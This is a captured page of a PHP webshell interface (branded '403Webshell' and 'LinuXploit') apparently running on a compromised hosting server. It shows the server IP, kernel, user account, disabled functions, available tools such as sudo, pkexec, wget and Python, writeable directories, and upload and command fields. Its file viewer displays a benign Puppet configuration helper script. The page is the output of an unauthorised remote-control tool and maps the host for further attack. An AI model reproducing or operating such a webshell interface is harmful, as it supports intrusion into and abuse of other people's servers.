403Webshell
Server IP : 77.68.64.20  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux hp3-wp-1011317.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els8.x86_64 #1 SMP Sun Jul 5 17:25:39 UTC 2026 x86_64
User : csh2392878 ( 2033753)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/pup
#!/usr/bin/bash

# Detect if running as root and set sudo prefix accordingly
if [[ $EUID -eq 0 ]]; then
    SUDO=""
else
    SUDO="sudo"
fi

NODE_HOSTNAME=$(hostname --long)

while getopts e:n:i flag
do
    case "${flag}" in
        e) PUPPET_ENVIRONMENT=${OPTARG}
        if [ -z ${PUPPET_ENVIRONMENT+x} ]; then
            echo "No puppet environment flag (-e) given - not changing";
        else
            echo "Setting Puppet environment on ${NODE_HOSTNAME} to ${PUPPET_ENVIRONMENT}";
            $SUDO puppet config set environment $PUPPET_ENVIRONMENT --section agent
        fi
        ;;
        n) PUPPET_NOOP=${OPTARG}
        if [ -z ${PUPPET_NOOP+x} ]; then
            echo "No puppet noop flag (-n) given - not changing";
        else
            echo "Setting Puppet noop on ${NODE_HOSTNAME} to ${PUPPET_NOOP}";
            $SUDO puppet config set noop $PUPPET_NOOP --section agent
            $SUDO sed -i 's/0/1/g' /srv/monitoring/node_exporter/text_collections/node_puppet_noop.prom
        fi
        ;;
        i)  echo "Current puppet agent configuration:";
            echo "environment =$(grep 'environment' /etc/puppet/puppet.conf| cut -d= -f2)";
            NOOP_VALUE=$(grep 'noop' /etc/puppet/puppet.conf| cut -d= -f2)
            echo "noop status = ${NOOP_VALUE:-false}";
            echo "server role = $(cat /etc/fh_server_role)";
        ;;
    esac
done

Youez - 2016 - github.com/yon3zu
LinuXploit